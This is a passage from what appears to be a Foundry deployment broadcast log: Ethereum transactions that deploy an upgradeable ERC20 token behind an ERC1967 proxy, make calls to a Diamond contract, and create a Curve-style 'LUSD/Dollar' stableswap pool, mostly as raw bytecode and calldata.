565b606060cc80546105e090613487565b600054610100900460ff166121855760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b61218f8282612673565b612198826126fa565b6121a06127b6565b6121a861283b565b611a7783826128b8565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260fd602052604090208054600181018255905b50919050565b60006106776121f4611a7c565b836040517f19010000000000000000000000000000000000000000000000000000000000008152600281019290925260228201526042902090565b60008060006122408787878761298c565b9150915061224d81612a7b565b5090505b949350505050565b73ffffffffffffffffffffffffffffffffffffffff83166122e25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff821661236b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610757565b612376838383612668565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260976020526040902054818110156124125760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e636500000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526097602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061247f9086815260200190565b60405180910390a3611a5e565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6124b7612be0565b6124bf612c39565b60408051602081019490945283019190915260608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b73ffffffffffffffffffffffffffffffffffffffff81163b61258a5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e7472616374000000000000000000000000000000000000006064820152608401610757565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6125f983612c6a565b6000825111806126065750805b15611a7757611a5e8383612cb7565b6101305460ff166109df5760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f74207061757365640000000000000000000000006044820152606401610757565b611a77838383612ce3565b600054610100900460ff166126f05760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b610d6c8282612d5d565b600054610100900460ff166127775760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b610883816040518060400160405280600181526020017f3100000000000000000000000000000000000000000000000000000000000000815250612df3565b600054610100900460ff166128335760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b6109df612e98565b600054610100900460ff166109df5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b600054610100900460ff166129355760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b610194612942828261357e565b505061019580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156129c35750600090506003612a72565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015612a17573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116612a6b57600060019250925050612a72565b9150600090505b94509492505050565b6000816004811115612a8f57612a8f6136b1565b03612a975750565b6001816004811115612aab57612aab6136b1565b03612af85760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610757565b6002816004811115612b0c57612b0c6136b1565b03612b595760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610757565b6003816004811115612b6d57612b6d6136b1565b036108835760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c60448201527f75650000000000000000000000000000000000000000000000000000000000006064820152608401610757565b600080612beb6120ea565b805190915015612c02578051602090910120919050565b60c9548015612c115792915050565b7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4709250505090565b600080612c446120f9565b805190915015612c5b578051602090910120919050565b60ca548015612c115792915050565b612c7381612500565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6060612cdc83836040518060600160405280602781526020016136fd60279139612f40565b9392505050565b6101305460ff1615611a775760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e7366657220776860448201527f696c6520706175736564000000000000000000000000000000000000000000006064820152608401610757565b600054610100900460ff16612dda5760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b609a612de6838261357e565b50609b611a77828261357e565b600054610100900460ff16612e705760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b60cb612e7c838261357e565b5060cc612e89828261357e565b5050600060c981905560ca5550565b600054610100900460ff16612f155760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201527f6e697469616c697a696e670000000000000000000000000000000000000000006064820152608401610757565b61013080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169055565b60606000808573ffffffffffffffffffffffffffffffffffffffff1685604051612f6a91906136e0565b600060405180830381855af49150503d8060008114612fa5576040519150601f19603f3d011682016040523d82523d6000602084013e612faa565b606091505b5091509150612fbb86838387612fc5565b9695505050505050565b6060831561304157825160000361303a5773ffffffffffffffffffffffffffffffffffffffff85163b61303a5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610757565b5081612251565b61225183838151156130565781518083602001fd5b8060405162461bcd60e51b815260040161075791906130de565b60005b8381101561308b578181015183820152602001613073565b50506000910152565b600081518084526130ac816020860160208601613070565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000612cdc6020830184613094565b803573ffffffffffffffffffffffffffffffffffffffff8116811461311557600080fd5b919050565b6000806040838503121561312d57600080fd5b613136836130f1565b946020939093013593505050565b60008060006060848603121561315957600080fd5b613162846130f1565b9250613170602085016130f1565b9150604084013590509250925092565b60006020828403121561319257600080fd5b612cdc826130f1565b6000602082840312156131ad57600080fd5b5035919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600067ffffffffffffffff808411156131fe576131fe6131b4565b604051601f85017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908282118183101715613244576132446131b4565b8160405280935085815286868601111561325d57600080fd5b858560208301376000602087830101525050509392505050565b6000806040838503121561328a57600080fd5b613293836130f1565b9150602083013567ffffffffffffffff8111156132af57600080fd5b8301601f810185136132c057600080fd5b6132cf858235602084016131e3565b9150509250929050565b7fff00000000000000000000000000000000000000000000000000000000000000881681526000602060e08184015261331560e084018a613094565b8381036040850152613327818a613094565b6060850189905273ffffffffffffffffffffffffffffffffffffffff8816608086015260a0850187905284810360c0860152855180825283870192509083019060005b818110156133865783518352928401929184019160010161336a565b50909c9b505050505050505050505050565b6000602082840312156133aa57600080fd5b813567ffffffffffffffff8111156133c157600080fd5b8201601f810184136133d257600080fd5b612251848235602084016131e3565b600080600080600080600060e0888a0312156133fc57600080fd5b613405886130f1565b9650613413602089016130f1565b95506040880135945060608801359350608088013560ff8116811461343757600080fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561346757600080fd5b613470836130f1565b915061347e602084016130f1565b90509250929050565b600181811c9082168061349b57607f821691505b6020821081036121e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b80820180821115610677577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006020828403121561352057600080fd5b81518015158114612cdc57600080fd5b601f821115611a7757600081815260208120601f850160051c810160208610156135575750805b601f850160051c820191505b8181101561357657828155600101613563565b505050505050565b815167ffffffffffffffff811115613598576135986131b4565b6135ac816135a68454613487565b84613530565b602080601f8311600181146135ff57600084156135c95750858301515b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600386901b1c1916600185901b178555613576565b6000858152602081207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08616915b8281101561364c5788860151825594840194600190910190840161362d565b508582101561368857878501517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156136aa57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082516136f2818460208701613070565b919091019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220970bd42e1159915b240b28bcccb023ae91e7d46acca8554bfa2f84542540823164736f6c63430008130033", + "nonce": "0x45d", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x7c4da0ec6bc8992f1a742bd387367915e627f36213b47d73dc048d1973f24967", + "transactionType": "CREATE", + "contractName": "ERC1967Proxy", + "contractAddress": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "function": null, + "arguments": ["0x7745A062C0A8aAEFAA7E7DF1e1AAbBBAfc988972", "0xc4d66de8000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa"], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x616bc", + "value": "0x0", + "input": "0x60806040526040516104ee3803806104ee833981016040819052610022916102de565b61002e82826000610035565b50506103fb565b61003e83610061565b60008251118061004b5750805b1561005c5761005a83836100a1565b505b505050565b61006a816100cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100c683836040518060600160405280602781526020016104c760279139610180565b9392505050565b6001600160a01b0381163b61013f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b6060600080856001600160a01b03168560405161019d91906103ac565b600060405180830381855af49150503d80600081146101d8576040519150601f19603f3d011682016040523d82523d6000602084013e6101dd565b606091505b5090925090506101ef868383876101f9565b9695505050505050565b60608315610268578251600003610261576001600160a01b0385163b6102615760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610136565b5081610272565b610272838361027a565b949350505050565b81511561028a5781518083602001fd5b8060405162461bcd60e51b815260040161013691906103c8565b634e487b7160e01b600052604160045260246000fd5b60005b838110156102d55781810151838201526020016102bd565b50506000910152565b600080604083850312156102f157600080fd5b82516001600160a01b038116811461030857600080fd5b60208401519092506001600160401b038082111561032557600080fd5b818501915085601f83011261033957600080fd5b81518181111561034b5761034b6102a4565b604051601f8201601f19908116603f01168101908382118183101715610373576103736102a4565b8160405282815288602084870101111561038c57600080fd5b61039d8360208301602088016102ba565b80955050505050509250929050565b600082516103be8184602087016102ba565b9190910192915050565b60208152600082518060208401526103e78160408501602087016102ba565b601f01601f19169190910160400192915050565b60be806104096000396000f3fe608060405236601057600e6013565b005b600e5b601f601b6021565b6065565b565b600060607f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b905090565b3660008037600080366000845af43d6000803e8080156083573d6000f35b3d6000fdfea264697066735822122057026e6ac0ea6508fb970bc3e341e4a42a730a9f9143add21b32331d6561376b64736f6c63430008130033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000007745a062c0a8aaefaa7e7df1e1aabbbafc98897200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000024c4d66de8000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa00000000000000000000000000000000000000000000000000000000", + "nonce": "0x45e", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xed36cfc26960d8bd74f7a170b6a0d3f9178b2e762438316637abb545ff659b7c", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x115a9", + "value": "0x0", + "input": "0xf986cd57000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d103", + "nonce": "0x45f", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x004c51852cc82e0db8d40b4baacf0290ef082f143ecd8f4dd0350e11467eab74", + "transactionType": "CALL", + "contractName": "ERC1967Proxy", + "contractAddress": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xb6919ef2ee4afc163bc954c5678e2bb570c2d103", + "gas": "0x1e730", + "value": "0x0", + "input": "0x40c10f19000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000054b40b1f852bda00000", + "nonce": "0x460", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xdd23c73480e78a237032683322420b848b34320b6322ae37a01e94f6d6024fa5", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x17ba7", + "value": "0x0", + "input": "0xde858d7c0000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba00000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "nonce": "0x461", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x1ba1babc2b61397f3e23f7006a6e030a0bd9293a1c34325a43f93d4529b66f61", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x17270", + "value": "0x0", + "input": "0xedc8d27d0000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x462", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x8aaf682c47063531c0721ffca52534f5fbaf1e640febe3df6f65ad64683c4f84", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1965d", + "value": "0x0", + "input": "0x810601630000000000000000000000003d7ae7e594f2f2091ad8798313450130d0aba3a00000000000000000000000000000000000000000000000000000000000000e10", + "nonce": "0x463", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x0fcd7b38cff7c4388b3c512ae6bc07005be9ce2234760affc4a29fbbee6dfe42", + "transactionType": "CALL", + "contractName": null, + "contractAddress": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "function": "deploy_plain_pool(string,string,address[],uint256,uint256,uint256,uint256,uint256,uint8[],bytes4[],address[])", + "arguments": [ + "\"LUSD/Dollar\"", + "\"LUSDDollar\"", + "[0x5f98805A4E8be255a32880FDeC7F6728C6568bA0, 0xb6919Ef2ee4aFC163BC954C5678e2BB570c2D103]", + "100", + "4000000", + "20000000000", + "2597", + "0", + "[0, 0]", + "[0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000000000000000000000000000]", + "[0x0000000000000000000000000000000000000000, 0x0000000000000000000000000000000000000000]" + ], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0x6a8cbed756804b16e05e741edabd5cb544ae21bf", + "gas": "0x77a842", + "value": "0x0", + "input": "0x5bcd3d83000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000001a000000000000000000000000000000000000000000000000000000000000001e0000000000000000000000000000000000000000000000000000000000000006400000000000000000000000000000000000000000000000000000000003d090000000000000000000000000000000000000000000000000000000004a817c8000000000000000000000000000000000000000000000000000000000000000a250000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024000000000000000000000000000000000000000000000000000000000000002a00000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000b4c5553442f446f6c6c6172000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a4c555344446f6c6c61720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000b6919ef2ee4afc163bc954c5678e2bb570c2d103000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x464", + "chainId": "0x1" + }, + "additionalContracts": [ + { + "transactionType": "CREATE", + "address": "0xcc68509f9ca0e1ed119eac7c468ec1b1c42f384f", + "initCode": "0x615c335150346109c2576020615ddc5f395f516020602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160803950506020615dfc5f395f51600a602082615ddc015f395f51116109c2576020602082615ddc015f395f51018082615ddc0160c03950506020615e9c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156100d857905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b61012001526001018181186100a9575b5050806101005250506020615ebc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f5160208160051b018083615ddc01610220395050506020615edc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561018257905b60208160051b6020860101615ddc015f395f518060081c6109c2578160051b6103600152600101818118610153575b5050806103405250506020615efc5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c25780156101f257905b60208160051b6020860101615ddc015f395f518060201b6109c2578160051b61048001526001018181186101c3575b5050806104605250506020615f1c5f395f516008602082615ddc015f395f51116109c257602081615ddc015f395f515f81600881116109c257801561026257905b60208160051b6020860101615ddc015f395f518060a01c6109c2578160051b6105a00152600101818118610233575b5050806105805250506101005160208160051b015f81601f0160051c600981116109c25780156102ae57905b8060051b61010001518160051b6060016153f3015260010181811861028e575b505050506103405160208160051b015f81601f0160051c600981116109c25780156102f657905b8060051b61034001518160051b610180016153f301526001018181186102d5575b505050505f6106a0525f61557351600881116109c257801561033e57905b60028160051b6101a0016153f30151186103335760016106a05261033e565b600101818118610314575b50506106a05161569352610100516106a0526106a0516153f3526106a05180607f1c6109c257615413526102205160208160051b015f81601f0160051c600981116109c25780156103ac57905b8060051b61022001518160051b6102c0016153f3015260010181811861038b575b50505050336154335260646020615e1c5f395f51026106c0526106c051600c556106c051600d556020615e3c5f395f51600a556020615e5c5f395f51600b556020615e7c5f395f51156109c2576020615e7c5f395f5160235561f374602455426040524260605261041e6106e0610981565b6106e0516025555f6106e0525f610800525f610920525f61541351600881116109c257801561070a57905b80610a4052615413516001810380600f0b81186109c2579050610a405112156104ac57601954600781116109c257670de0b6b3a7640000604052670de0b6b3a764000060605261049a610a60610981565b610a605181601a015560018101601955505b61092051600781116109c257610a4051610580518110156109c25760051b6105a00151610a4051610460518110156109c25760051b61048001518060e01c90508060e01b818160e01c186109c2579050178160051b6109400152600181016109205250600154600781116109c2575f81600201556001810160015550601054600781116109c2575f816011015560018101601055506003610a4051610340518110156109c25760051b6103600151186106c0576106e051600781116109c257610a4051610100518110156109c25760051b610120015163313ce567610a60526020610a606004610a7c845afa6105a4573d5f5f3e3d5ffd5b60203d106109c257610a60518060081c6109c257610aa052610aa0905051604d81116109c25780600a0a90508160051b6107000152600181016106e05250610a4051610100518110156109c25760051b61012001516338d52e0f610a80526020610a806004610a9c845afa61061b573d5f5f3e3d5ffd5b60203d106109c257610a80518060a01c6109c257610ac052610ac0905051610a605261080051600781116109c257610a605163313ce567610a80526020610a806004610a9c845afa61066f573d5f5f3e3d5ffd5b60203d106109c257610a80518060081c6109c257610ac052610ac090505180601203601281116109c2579050604d81116109c25780600a0a90508160051b61082001526001810161080052506106ff565b6106e051600781116109c2575f8160051b6107000152600181016106e0525061080051600781116109c2575f8160051b61082001526001810161080052505b600101818118610449575b50506106e05160208160051b015f81601f0160051c600981116109c257801561075057905b8060051b6106e001518160051b610500016153f3015260010181811861072f575b505050506108005160208160051b015f81601f0160051c600981116109c257801561079857905b8060051b61080001518160051b610620016153f30152600101818118610777575b505050506109205160208160051b015f81601f0160051c600981116109c25780156107e057905b8060051b61092001518160051b6103e0016153f301526001018181186107bf575b505050506020608051015f81601f0160051c600281116109c257801561082257905b8060051b608001518160051b610740016153f30152600101818118610802575b505050602060c051015f81601f0160051c600281116109c257801561086357905b8060051b60c001518160051b6107a0016153f30152600101818118610843575b5050506020615b3351015f81601f0160051c600381116109c25780156108a657905b8060051b610740016153f301518160051b610a400152600101818118610885575b505050610a40805160208201209050615bd3526001430340615c135246615bf3527fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac56472610a6052615bd351610a80527f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d610aa05246610ac05230610ae052615c1351610b005260c0610a4052610a40805160208201209050615c3352335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f610a40526020610a40a36153f36109c661000039615c53610000f35b6fffffffffffffffffffffffffffffffff604051116109c2576fffffffffffffffffffffffffffffffff606051116109c25760605160801b60405117815250565b5f80fd5f3560e01c60056005600683060261522a01601b395f51600760078260ff16848460181c0260181c06028260081c61ffff1601601939505f51818160181c14600336111661004c5761294e565b8060fe16361034826001160217615226578060081c61ffff16565b60206153f360403960206040f35b602060043560206154535f395f518110156152265760051b6080016153f30160403960206040f35b600a5460405260206040f35b600b5460405260206040f35b64012a05f20060405260206040f35b600c5460405260206040f35b600d5460405260206040f35b600e5460405260206040f35b600f5460405260206040f35b600435601054811015615226576011015460405260206040f35b60235460405260206040f35b60245460405260206040f35b60255460405260206040f35b6020806040528060400160206020615b335f395f510180615b338339508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6020806040528060400160206020615b935f395f510180615b938339508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b601260405260206040f35b60208060805260066040527f76372e302e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b6004358060a01c6152265760405260266040516020525f5260405f205460605260206060f35b6004358060a01c615226576040526024358060a01c6152265760605260276040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6004358060a01c6152265760405260296040516020525f5260405f205460605260206060f35b6020615c1360403960206040f35b33611360526102ee565b6084358060a01c61522657611360525b60043580600f0b8118615226576113205260243580600f0b811861522657611340525f546002146152265760025f55602033610dc05261132051610de05261134051610e005260406044610e203761136051610e60525f610e8052610354611380614466565b61138060035f55f35b3361136052610377565b6084358060a01c61522657611360525b60043580600f0b8118615226576113205260243580600f0b811861522657611340525f546002146152265760025f5560206156935f395f5161522657602033610dc05261132051610de05261134051610e005260406044610e203761136051610e60526001610e80526103eb611380614466565b61138060035f55f35b33610a805261040e565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b018083610960375050505f546002146152265760025f55610a80511561522657610450610ac061323c565b610ac051610aa052610463610be0613055565b610be0805160208160051b0180610ac0828560045afa50505050610488610d00612d26565b610d00805160208160051b0180610be0828560045afa50505050610be05160208160051b01806103c082610be060045afa505050610ac05160208160051b01806104e082610ac060045afa505050610aa051610600526104e9610d20614714565b610d2051610d0052602854610d2052610ac05160208160051b0180610d4082610ac060045afa5050505f60206154135f395f51600881116152265780156105c857905b80610e6052610e6051610960518110156152265760051b6109800151156105b357610e6051610d40518110156152265760051b610d60018051610e6051604052610e6051610960518110156152265760051b6109800151606052336080525f60a052610599610e80612993565b610e805180820182811061522657905090508152506105bd565b610d205115615226575b60010181811861052c575b5050610be05160208160051b01806103c082610be060045afa505050610d405160208160051b01806104e082610d4060045afa505050610aa05161060052610611610e80614714565b610e8051610e6052610d0051610e60511115615226575f610e80525f610fa052610d2051156109a857606036610fc03760206153f35f395f51610d0051610e60518082018281106152265790509050046110205260403661104037600160206153f35f395f510360021b60206153f35f395f51600a540204611080525f60206154135f395f51600881116152265780156108ad57905b806110a052610e60516110a051610ac0518110156152265760051b610ae001518082028115838383041417156152265790509050610d005180156152265780820490509050610fc0525f610fe0526110a051610d40518110156152265760051b610d6001516110005261100051610fc0511161072f57610fc0516110005103610fe05261073d565b61100051610fc05103610fe0525b670de0b6b3a76400006110a051610be0518110156152265760051b610c0001516110a051610ac0518110156152265760051b610ae00151611000518082018281106152265790509050808202811583838304141715615226579050905004611040526110405160405261102051606052611080516080526107bf6110c06138c4565b6110c05161106052610e805160078111615226576402540be40061106051610fe0518082028115838383041417156152265790509050048160051b610ea0015260018101610e8052506110a0516010548110156152265760110180546402540be4006110a051610e80518110156152265760051b610ea0015164012a05f20081028164012a05f2008204186152265790500480820182811061522657905090508155506110a051610d40518110156152265760051b610d600180516110a051610e80518110156152265760051b610ea0015180820382811161522657905090508152506001018181186106a7575b5050610be05160208160051b0180604082610be060045afa505050610d405160208160051b018061016082610d4060045afa5050506108ed6111c0613188565b6111c0805160208160051b01806110a0828560045afa505050506110a05160208160051b01806040826110a060045afa505050610aa051610160526109336111c0613347565b6111c051610e6052610d0051610d2051610e6051610d00518082038281116152265790509050808202811583838304141715615226579050905004610fa0526110a05160208160051b0180610340826110a060045afa505050610aa05161046052610e605161048052610a23613ed056610a23565b610e6051610fa052610e6051604052610e60516060526109c9610fc0612952565b610fc0516022556025546040526109e1611000613984565b6110006040610fc060408360045afa505042610fe0511015610a235742610fe052610fc051604052610fe051606052610a1b611000612952565b611000516025555b602435610fa0511015610a95576014610fc0527f536c697070616765207363726577656420796f75000000000000000000000000610fe052610fc050610fc05180610fe001601f825f031636823750506308c379a0610f80526020610fa052601f19601f610fc0510116604401610f9cfd5b610d2051610fa0518082018281106152265790509050610d20526026610a80516020525f5260405f208054610fa0518082018281106152265790509050815550610d2051602855610a80515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fa051610fc0526020610fc0a3337f189c623b666b1b45b83d7178f39b8c087cb09774317ca2f53c2d3c3726f222a2608080610fc05280610fc0015f610960518083528060051b5f8260088111615226578015610b7a57905b8060051b61098001518160051b602088010152600101818118610b5c575b5050820160200191505090508101905080610fe05280610fc0015f610e80518083528060051b5f8260088111615226578015610bd057905b8060051b610ea001518160051b602088010152600101818118610bb2575b50508201602001915050905081019050610e605161100052610d205161102052610fc0a26020610fa060035f55f35b33610b0052610c19565b6064358060a01c61522657610b00525b60243580600f0b811861522657610ae0525f546002146152265760025f556004351561522657606036610b20375f610c80525f610ca0526004356103c052610ae0516103e052610c6a610cc0614a57565b610cc08051610b20526020810151610b405260408101805160208160051b0180610b60828560045afa50505050610160810151610c8052610180810151610ca05250604435610b20511015610d1e576018610cc0527f4e6f7420656e6f75676820636f696e732072656d6f7665640000000000000000610ce052610cc050610cc05180610ce001601f825f031636823750506308c379a0610c80526020610ca052601f19601f610cc0510116604401610c9cfd5b610ae0516010548110156152265760110180546402540be400610b405164012a05f20081028164012a05f20082041861522657905004808201828110615226579050905081555033604052600435606052610d77614f3d565b610ae051604052610b2051606052610b0051608052610d94612b55565b337f6f48129db1f37ccb9cc5dd7e119cb32750cabdf75b48375d730d26ce3659bbe1610ae051610cc052600435610ce052610b2051610d0052602854610d20526080610cc0a2610b605160208160051b018061034082610b6060045afa505050610c805161046052610ca05161048052610e0c613ed0565b6020610b2060035f55f35b33610a8052610e31565b6044358060a01c61522657610a80525b600435600401600881351161522657803560208160051b0180836